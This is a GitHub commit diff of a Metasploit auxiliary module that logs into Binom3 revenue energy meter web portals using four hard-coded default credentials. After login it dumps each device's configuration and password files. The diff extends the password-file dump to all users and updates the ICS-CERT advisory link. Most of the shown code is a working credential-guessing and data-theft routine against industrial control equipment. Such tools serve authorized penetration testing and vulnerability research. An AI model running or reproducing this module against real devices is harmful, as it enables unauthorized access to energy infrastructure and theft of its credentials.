Skip to content

Commit 34b8614

Browse files
committed
Minor updates
1 parent 423648e commit 34b8614

File tree

1 file changed

+28
-31
lines changed

1 file changed

+28
-31
lines changed

modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb

Lines changed: 28 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,10 @@ def initialize(info={})
1616
'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
1717
'Description' => %{
1818
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
19-
2019
},
2120
'References' =>
2221
[
23-
['URL', 'https://ics-cert.us-cert.gov/alerts/ICS-ALERT-16-263-01']
22+
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01']
2423
],
2524
'Author' =>
2625
[
@@ -149,18 +148,18 @@ def do_login(user, pass)
149148
get_cookie = res.get_cookies
150149
cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
151150

152-
# Attempting to download config / password file(s)
151+
# Attempting to download config file
153152

154153
config_uri = '~cfg_ask_xml?type=cfg'
155154

156155
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
157156

158157
if res && res.code == 200
159-
print_good('++++++++++++++++++++++++++++++++++++++')
160-
print_good("#{rhost} - dumping configuration")
161-
print_good('++++++++++++++++++++++++++++++++++++++')
158+
vprint_status('++++++++++++++++++++++++++++++++++++++')
159+
vprint_status("#{rhost} - dumping configuration")
160+
vprint_status('++++++++++++++++++++++++++++++++++++++')
162161

163-
print_good("#{rhost}:#{rport} - File retrieved successfully!")
162+
print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!")
164163
path = store_loot(
165164
'Binom3_config',
166165
'text/xml',
@@ -169,35 +168,33 @@ def do_login(user, pass)
169168
rport,
170169
'Binom3 device config'
171170
)
172-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
171+
print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}")
173172
else
174173
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
175174
return
176175
end
177176

178-
if user == 'root'
179-
config_uri = '~cfg_ask_xml?type=passw'
180-
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
181-
182-
if res && res.code == 200
183-
print_good('++++++++++++++++++++++++++++++++++++++')
184-
print_good("#{rhost} - dumping password file")
185-
print_good('++++++++++++++++++++++++++++++++++++++')
186-
187-
print_good("#{rhost}:#{rport} - File retrieved successfully!")
188-
path = store_loot(
189-
'Binom3_passw',
190-
'text/xml',
191-
rhost,
192-
res.body,
193-
rport,
194-
'Binom3 device config'
195-
)
196-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
197-
else
198-
print_error("#{rhost}:#{rport} - Failed to retrieve password file")
199-
return
200-
end
177+
# Attempt to dump password file
178+
config_uri = '~cfg_ask_xml?type=passw'
179+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
180+
181+
if res && res.code == 200
182+
vprint_status('++++++++++++++++++++++++++++++++++++++')
183+
vprint_status("#{rhost} - dumping password file")
184+
vprint_status('++++++++++++++++++++++++++++++++++++++')
185+
186+
print_good("#{rhost}:#{rport} - Password file retrieved successfully!")
187+
path = store_loot(
188+
'Binom3_passw',
189+
'text/xml',
190+
rhost,
191+
res.body,
192+
rport,
193+
'Binom3 device config'
194+
)
195+
print_status("#{rhost}:#{rport} - Password file saved in: #{path}")
196+
else
197+
return
201198
end
202199
else
203200
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

0 commit comments

Comments
 (0)